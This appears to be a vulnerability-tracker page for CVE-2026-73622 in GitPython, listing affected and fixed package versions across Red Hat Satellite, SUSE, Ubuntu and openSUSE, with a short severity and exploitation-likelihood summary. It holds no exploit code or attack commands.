python3.11-gitpython
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python3.11-lxml
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python3.11-lxml-debuginfo
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python3.11-pulpcore
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.49.39-4.el9pc
0:3.49.39-4.el9pc
python3.11-sqlparse
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
rubygem-katello
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:4.14.0.23-1.el9sat
0:4.14.0.23-1.el9sat
rubygem-safemode
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:1.5.0-2.el9sat
0:1.5.0-2.el9sat
satellite
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
satellite-cli
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
satellite-common
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
GitPython
Root:PyPI
before 3.1.47+aikido.8
3.1.47+aikido.83.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.50+aikido.13.1.49+aikido.33.1.49+aikido.43.1.50+aikido.23.1.46+aikido.83.1.50+aikido.33.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10
python-GitPython
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-git
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm20.3.2~RC1-3ubuntu0.1~esm3
None known
python-git
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm21.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm22.1.8-1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm23.0.7-1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm23.1.24-1ubuntu0.1~esm3
None known
python-git
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
3.1.30-13.1.37-13.1.37-33.1.37-3ubuntu0.1~esm2
None known
python-git
Ubuntu:26.10
All versions, plus listed versions
3.1.46-13.1.50-13.1.61-1
None known
python-git
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
3.1.44-13.1.45-13.1.46-13.1.46-1ubuntu0.1~esm1
None known
python-GitPython
openSUSE:Leap 16.0
From an advisory covering 26 CVEs
before 3.1.44-160000.4.1
3.1.44-160000.4.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-73622 is a high vulnerability (CVSS 8.7) in Gitpython-developers Gitpython, published July 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 44th percentile. Fixed in gitpython 3.1.55.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 57 versions, 180 references and the rest of 7 source descriptions. The JSON record has them.

MoveEnter Open